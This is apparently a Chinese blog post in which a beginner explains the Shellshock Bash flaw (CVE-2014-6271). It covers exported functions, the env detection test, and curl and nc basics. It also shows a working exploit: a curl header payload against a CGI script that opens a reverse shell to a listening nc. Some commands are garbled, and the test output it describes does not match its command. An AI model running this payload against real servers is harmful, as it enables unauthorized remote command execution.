“破壳”是一个严重漏洞的别名,在Red Hat、CentOS、Ubuntu、Fedora、Amazon Linux、OS X 10.10中均拥有存在CVE-2014-6271(即“破壳”漏洞)漏洞的Bash版本,同时由于Bash在各主流操作系统的广泛应用,此漏洞的影响范围包括但不限于大多数应用Bash的Unix、Linux、Mac OS X,而针对这些操作系统管理下的数据均存在高危威胁。

漏洞的利用方式会通过与Bash交互的多种应用展开,包括HTTP、OpenSSH、DHCP等

那么什么是bash呢?

bash(Bourne-Again SHell)是一个为GNU计划编写的Unix shell。bash是大多数Linux系统以及Mac OS X v10.4默认的shell,它能运行于大多数Unix风格的操作系统之上,甚至被移植到了Microsoft Windows上的Cygwin系统中,以实现windows的POSIX虚拟接口。此外,它也被DJGPP项目移植到了MS-DOS上。

来总结下我学习到的知识。

一.bash shell变量:

echo命令:

echo"shellshock"

定义个变量然后再echo:

wt7315="shellshock"

echo $wt7315

结果如下:

我们现在可以试试开一个bash子进程来看一下我们能不能得到变量的值:

wt7315="shellshock"

echo $wt7315

shellshock

bash

echo $wt7315

没有回显,我们不能够读出变量的值是因为我们开启了一个bash子进程,但变量中的值,仍存在父进程中。

bash环境变量:

当你开启一个shell会话时,一些变量已经准备好可供使用了,这些变量成为环境变量

当我们想在子进程中访问$gaba变量的话,我们可以使用export命令将变量变成环境变量。

如上图所示,子进程可以访问环境变量。

env | grep 'gaba'

二.bash函数与环境变量

建立一个名为x的函数,并将函数x存放在环境变量中,正如我预期的那样,在子shell中仍可执行名为x的函数。

在看了很多原理之后,bash漏洞形成的原理可算理解了,简单的就是说:BASH除了可以将shell变量导出为环境变量,还可以将shell函数导出为环境变量!(书读百遍其义自见,原理我读了一百遍)

三.相关指令

顺便来了解下两个指令:

ENV指令:

ENV指令允许临时改变环境变量,即指定本次指令执行的环境变量,这从一定程度上给了***进行PATH Hajaking的可能性

ENV指令还允许在设置环境变量后进行指令执行,从某种程度上来说,ENV相当于一个指令执行的指令,同时还附带有临时设置环境变量的功能

ENV的指令执行走的是正常的BASH指令解析、执行流程,而在一个采取了安全配置的服务器上,对敏感指令的执行都是进行用户级别的权限限制的,所以,ENV本身并不是任意指令执行。真正导致命令任意执行的原因是"Code Injection",即代码注入

具体的env命令,可查看env的man手册和帮助。

这是我们的测试语句:

env x='() { :;}; echo shellshocked' bash -c "echo test"

如果出现 `vulnerable` 和`this a test`则说明系统存在bash漏洞。

bash -c 就是用来执行string-commands(命令字符串),不管后面的字符串里是什么都会被当做shellcode来执行。bash -c "echo this is a test"在执行的时候存在一个环境变量x,而x呢等于 () { :;}; echo vulnerable ,而环境变量在使用前都会被初始化,那么  () { :;}; echo vulnerable 就自然而然的被执行了。 () { :;}; 定义了一个函数(function)并且它什么也不做,而后的 echo vulnerable 被解析后得到了执行权。当特殊的字符串变成环境变量后,环境变量又解析成函数,新的Bash进程在启动后又解析了环境变量并可以执行命令。

curl:

是利用URL语法在命令行方式下工作的开源文件传输工具。它被广泛应用在Unix、多种Linux发行版中,并且有DOS和Win32、Win64下的移植版本。

他的参数很多,这里简单的举几个例子。

-G/--get 以get的方式来发送数据

-H/--header < line >自定义头信息传递给服务器

-i/--include 输出时包括protocol头信息

-K/--config  指定的配置文件读取

nc:

NetCat,它短小精悍,功能实用,被设计为一个简单、可靠的网络工具,可通过TCP或UDP协议传输读写数据。同时,它还是一个网络应用Debug分析器,因为它可以根据需要创建各种不同类型的网络连接。

nc [选项] 主机名称  通信端口

常用参数说明:

-l 使用监听模式,管控传入的资料。

-p 设置本地主机使用的通信端口。

v 显示指令执行过程。

-w 设置等待连线的时间。

-z 使用0输入/输出模式,只在扫描通信端口时使用。

经过上面的测试,说明此debian存在bash漏洞,我使用了kai来利用此漏洞。

nc -lv -p 5555

另外在开个终端,输入curl–H 'x: () { :;}; /bin/bash–i >& /dev/tcp/***ip/5555 0>&1' http://受害ip/sgi-bin/status,(需要注意的是() { :;}之间有空格)对于sgi-bin/status,可以先使用扫描工具,扫出存在破壳漏洞并且在cgi-bin目录下有一个可执行脚本,可以看到我们利用破壳漏洞得到了反向shell进入受害机。

webserver常常将Referer、UserAgent、header等参数作为环境变量的设置源

服务器提供了CGI脚本,当CGI script被webserver执行的时候,CGI Script会去调用Bash

***者可以通过开启了CGI的httpd服务器进行远程代码执行

然后我们就可以为所欲为的做你想做的事情了,我查看了当前所有的用户信息。

虽然利用了bash漏洞得到了权限,但是bash漏洞利用还是有条件的:

被***的bash存在漏洞

***者可以控制环境变量

新的bash进程被打开触发漏洞并执行命令

漏洞危害:

可以直接在Bash支持的Web CGI环境下远程执行任何命令。这也就使得一些路由器、堡垒机、×××等网络设备将会成为重灾区,另外各大Linux发行版和Mac OS X系统都受影响,甚至Android也会受到影响。

新手,多多包涵,欢迎各位一起交流学习!

linux 破壳漏洞,Bash破壳漏洞相关推荐

  1. 修复linux bash破壳漏洞,Linux下bash破壳漏洞检测及修复的方法

    如果Linux服务器存在bash破壳漏洞,将可能导致远程攻击者操作系统来执行任意命令,威胁等级较高,我想要知道我的Linux服务器是否存在bash破壳漏洞,以及如何来保护我的Linux服务器不受破壳漏 ...

  2. linux系统漏洞测试过程,Linux下bash破壳漏洞检测方法

    如果Linux服务器存在bash破壳漏洞,将可能导致远程攻击者操作系统来执行任意命令,威胁等级较高,那么我们要怎么知道Linux系统是否存在该漏洞,又该如何修复呢?下面随学习啦小编一起来了解下吧. 问 ...

  3. linux 鬼精灵漏洞,鬼精灵Grinch:比Bash破壳(shellshock)更严重的Linux漏洞

    安全研究人员在Linux操作系统中发现了一个名为鬼精灵(Grinch)的漏洞,该漏洞存在于linux系统中,和Bash破壳(shellshock)漏洞一样可以在受害者机器上获得最高权限--Root. ...

  4. 修复linux bash破壳漏洞,Linux系统下如何检测并修复bash中的破壳漏洞​​

    问题:我想要知道我的Linux服务器是否存在bash破壳漏洞,以及如何来保护我的Linux服务器不受破壳漏洞侵袭. 2014年9月24日,一位名叫斯特凡·沙泽拉的安全研究者发现了一个名为"破 ...

  5. bash破壳漏洞分析(二)

    1. Bash简介 1.1 定义    Bash(GNU Bourne-Again Shell)是许多Linux发行版的默认Shell. 1.2 概述    目前的Bash使用的环境变量是通过函数名称 ...

  6. bash破壳漏洞分析(一)

    1. 简介    bash远程代码执行漏洞,该漏洞会影响目前主流的Linux和Mac OSX操作系统平台,包括但不限于Redhat,CentOS,Ubuntu,Debian,Fedora,Amaron ...

  7. Bash 破壳漏洞Shellshock (CVE-2014-6271)复现

    漏洞简介 GNU Bash 4.3及之前版本在评估某些构造的环境变量时存在安全漏洞,向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执行Shell命令. ...

  8. linux下修复bash漏洞

    漏洞相关介绍 继上次 Linux 平台上 Heartbleed 爆出漏洞,Shell Shock 也出现了威胁不小的漏洞,几个小时前刚由美国政府的国家弱点数据库(NVD)发布了最新的弱点通报.范围涵盖 ...

  9. linux远程代码执行漏洞,Bash远程任意代码执行安全漏洞(最严重漏洞)

    US-CERT 意识到 Bash 存在一个安全的漏洞,该漏洞直接影响基于 Unix 的系统(如 Linux.OS X 等).该漏洞将导致远程攻击者在受影响的系统上执行任意代码. US-CERT 建议用 ...

最新文章

  1. HDLBits 系列(27)孰对孰错 之 Fsm onehot?
  2. 使用System.Transactions
  3. 使用maxwell实时同步mysql数据到kafka
  4. 层次分析法模型及代码
  5. 【编译原理笔记04】语法分析:自顶向下的分析概述、文法转换、LL1文法
  6. JavaScript Math.random()随机数函数
  7. CV学习笔记-边缘提取
  8. 【渝粤教育】国家开放大学2018年秋季 1374T班级管理 参考试题
  9. matlab画圆的命令_matlab画圆命令资料
  10. 2001年新闻组大全
  11. 单网口RFC2544测试——信而泰网络测试仪实操
  12. 电脑课学生端密码查看
  13. 中央财经大学python期末考试答案_大学mooc2020用Python玩转数据题库及期末考试答案...
  14. sqlite C接口增删改查,数据库优化
  15. 一首好听的英文歌lemon tree(柠檬树)的中文歌词
  16. 为什么大人学英语这么难?
  17. deepin使用印象笔记(Evernote)
  18. Mos结电容Cgd、Cgs、Cds与分布参数Ciss、Crss、Coss
  19. 地图标记(学习笔记)
  20. $.ajax() 详细参数

热门文章

  1. 就算“千夫所指”也要为自己做的10件事
  2. 大规模土地利用数据处理新手段:高性能的地理处理建模
  3. 补天SRC漏洞挖掘(一):主域名爬取
  4. 不仅仅是“屠龙之技”-编译器开发者的精神胜利!
  5. 【PMP】燃起图燃尽图分析
  6. MUR1100-ASEMI轴向快恢复二极管MUR1100
  7. 用C语言开发NES游戏(CC65)15、音乐
  8. GetMessagePeekMessage 和SendMessagePostMessage
  9. 苹果手机消息先发给服务器,iPhone接收微信信息延迟,可能是这3个问题导致的,赶紧自查一下...
  10. 1w存银行一年多少利息_100万存银行一年利息是多少?